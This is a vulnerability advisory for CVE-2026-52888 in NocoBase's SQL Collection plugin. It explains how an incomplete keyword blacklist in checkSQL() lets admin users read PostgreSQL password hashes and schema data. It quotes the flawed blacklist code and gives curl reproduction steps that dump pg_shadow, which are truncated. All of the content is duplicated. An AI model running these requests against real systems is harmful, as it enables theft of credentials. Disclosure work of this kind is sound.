CVE-2026-52888

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. In 2.0.59 and earlier, NocoBase @nocobase/plugin-collection-sql used the checkSQL() function in packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts with an incomplete keyword blacklist that did not restrict PostgreSQL system catalog tables such as pg_shadow, pg_roles, and pg_stat_activity, allowing an admin-role user to read password hashes and database metadata through the SQL Collection feature. This vulnerability is fixed in 2.1.0-alpha.46.

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. In 2.0.59 and earlier, NocoBase @nocobase/plugin-collection-sql used the checkSQL() function in packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts with an incomplete keyword blacklist that did not restrict PostgreSQL system catalog tables such as pg_shadow, pg_roles, and pg_stat_activity, allowing an admin-role user to read password hashes and database metadata through the SQL Collection feature. This vulnerability is fixed in 2.1.0-alpha.46.

Security Vulnerability Report: Sensitive Data Exposure via SQL Blacklist Bypass

Summary

The checkSQL() function in plugin-collection-sql implements a keyword-based blacklist to prevent dangerous SQL queries from being executed through the SQL Collection feature. However, the blacklist is incomplete: it only checks for a subset of dangerous PostgreSQL system functions and does not restrict access to sensitive system catalog tables such as pg_shadow, pg_roles, or pg_stat_activity.

An authenticated user with the admin role can exploit this to dump PostgreSQL password hashes (pg_shadow), read all NocoBase user credentials (hashed passwords from the users table), and enumerate the full database schema — all data that admin users should never be able to access through the application interface.

Affected Component

File: packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts

export const checkSQL = (sql: string) => {
  const dangerKeywords = [
    // PostgreSQL — BLOCKED
    'pg_read_file',
    'pg_read_binary_file',
    'pg_stat_file',
    'pg_ls_dir',
    'pg_logdir_ls',
    'pg_terminate_backend',
    'pg_cancel_backend',
    'current_setting',
    'set_config',
    'pg_reload_conf',
    'pg_sleep',
    'generate_series',

    // MySQL — BLOCKED
    'LOAD_FILE',
    'BENCHMARK',
    '@@global.',
    '@@session.',

    // SQLite — BLOCKED
    'sqlite3_load_extension',
    'load_extension',
  ];

  // NOT BLOCKED: pg_shadow, pg_roles, pg_stat_activity,
  //                 information_schema, users table direct access, etc.

  sql = sql.trim().split(';').shift();
  if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {
    throw new Error('Only supports SELECT statements or WITH clauses');
  }
  if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {
    throw new Error('SQL statements contain dangerous keywords');
  }
};

The execute action in sql.ts passes user-supplied SQL directly through this insufficient check:

// sql.ts — execute action
execute: async (ctx: Context, next: Next) => {
  const { sql } = ctx.action.params.values || {};
  try {
    checkSQL(sql);         // ← insufficient validation
  } catch (e) {
    ctx.throw(400, ctx.t(e.message));
  }
  // SQL is executed directly against the database
  const data = await model.findAll({ attributes: ['*'], limit: 5, raw: true });
  ctx.body = { data, fields, sources };
}

Root Cause

The blacklist approach is fundamentally incomplete. It attempts to enumerate every dangerous construct but misses entire categories:

1. PostgreSQL system catalog tables — pg_shadow, pg_authid, pg_roles, pg_stat_activity are not restricted
2. Application-level sensitive tables — users (containing hashed passwords) can be queried directly
3. information_schema — full schema enumeration is possible
4. Schema-qualified variants — even some blocked functions could be bypassed via pg_catalog. prefix (e.g. pg_catalog.pg_read_file may bypass checks in older versions)

The correct approach is an allowlist (whitelist) of permitted tables/schemas, not a blacklist of forbidden keywords.

Steps to Reproduce

Prerequisites: A user account with the admin role (has the pm.data-source-manager.collection-sql ACL snippet).

Step 1: Authenticate and obtain a token:

TOKEN=$(curl -s -X POST http://<TARGET>/api/auth:signIn \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"<password>"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['token'])")

Step 2: Dump PostgreSQL password hashes from pg_shadow:

curl -s -X POST http://<TARGET>/api/sqlCollection:execute \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"sql":"SELECT usename, passwd…

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. In 2.0.59 and earlier, NocoBase @nocobase/plugin-collection-sql used the checkSQL() function in packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts with an incomplete keyword blacklist that did not restrict PostgreSQL system catalog tables such as pg_shadow, pg_roles, and pg_stat_activity, allowing an admin-role user to read password hashes and database metadata through the SQL Collection feature. This vulnerability is fixed in 2.1.0-alpha.46.

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. In 2.0.59 and earlier, NocoBase @nocobase/plugin-collection-sql used the checkSQL() function in packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts with an incomplete keyword blacklist that did not restrict PostgreSQL system catalog tables such as pg_shadow, pg_roles, and pg_stat_activity, allowing an admin-role user to read password hashes and database metadata through the SQL Collection feature. This vulnerability is fixed in 2.1.0-alpha.46.

Security Vulnerability Report: Sensitive Data Exposure via SQL Blacklist Bypass

Summary

The checkSQL() function in plugin-collection-sql implements a keyword-based blacklist to prevent dangerous SQL queries from being executed through the SQL Collection feature. However, the blacklist is incomplete: it only checks for a subset of dangerous PostgreSQL system functions and does not restrict access to sensitive system catalog tables such as pg_shadow, pg_roles, or pg_stat_activity.

An authenticated user with the admin role can exploit this to dump PostgreSQL password hashes (pg_shadow), read all NocoBase user credentials (hashed passwords from the users table), and enumerate the full database schema — all data that admin users should never be able to access through the application interface.

Affected Component

File: packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts

export const checkSQL = (sql: string) => {
  const dangerKeywords = [
    // PostgreSQL — BLOCKED
    'pg_read_file',
    'pg_read_binary_file',
    'pg_stat_file',
    'pg_ls_dir',
    'pg_logdir_ls',
    'pg_terminate_backend',
    'pg_cancel_backend',
    'current_setting',
    'set_config',
    'pg_reload_conf',
    'pg_sleep',
    'generate_series',

    // MySQL — BLOCKED
    'LOAD_FILE',
    'BENCHMARK',
    '@@global.',
    '@@session.',

    // SQLite — BLOCKED
    'sqlite3_load_extension',
    'load_extension',
  ];

  // NOT BLOCKED: pg_shadow, pg_roles, pg_stat_activity,
  //                 information_schema, users table direct access, etc.

  sql = sql.trim().split(';').shift();
  if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {
    throw new Error('Only supports SELECT statements or WITH clauses');
  }
  if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {
    throw new Error('SQL statements contain dangerous keywords');
  }
};

The execute action in sql.ts passes user-supplied SQL directly through this insufficient check:

// sql.ts — execute action
execute: async (ctx: Context, next: Next) => {
  const { sql } = ctx.action.params.values || {};
  try {
    checkSQL(sql);         // ← insufficient validation
  } catch (e) {
    ctx.throw(400, ctx.t(e.message));
  }
  // SQL is executed directly against the database
  const data = await model.findAll({ attributes: ['*'], limit: 5, raw: true });
  ctx.body = { data, fields, sources };
}

Root Cause

The blacklist approach is fundamentally incomplete. It attempts to enumerate every dangerous construct but misses entire categories:

1. PostgreSQL system catalog tables — pg_shadow, pg_authid, pg_roles, pg_stat_activity are not restricted
2. Application-level sensitive tables — users (containing hashed passwords) can be queried directly
3. information_schema — full schema enumeration is possible
4. Schema-qualified variants — even some blocked functions could be bypassed via pg_catalog. prefix (e.g. pg_catalog.pg_read_file may bypass checks in older versions)

The correct approach is an allowlist (whitelist) of permitted tables/schemas, not a blacklist of forbidden keywords.

Steps to Reproduce

Prerequisites: A user account with the admin role (has the pm.data-source-manager.collection-sql ACL snippet).

Step 1: Authenticate and obtain a token:

TOKEN=$(curl -s -X POST http://<TARGET>/api/auth:signIn \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"<password>"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['token'])")

Step 2: Dump PostgreSQL password hashes from pg_shadow:

curl -s -X POST http://<TARGET>/api/sqlCollection:execute \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"sql":"SELECT usename, passwd…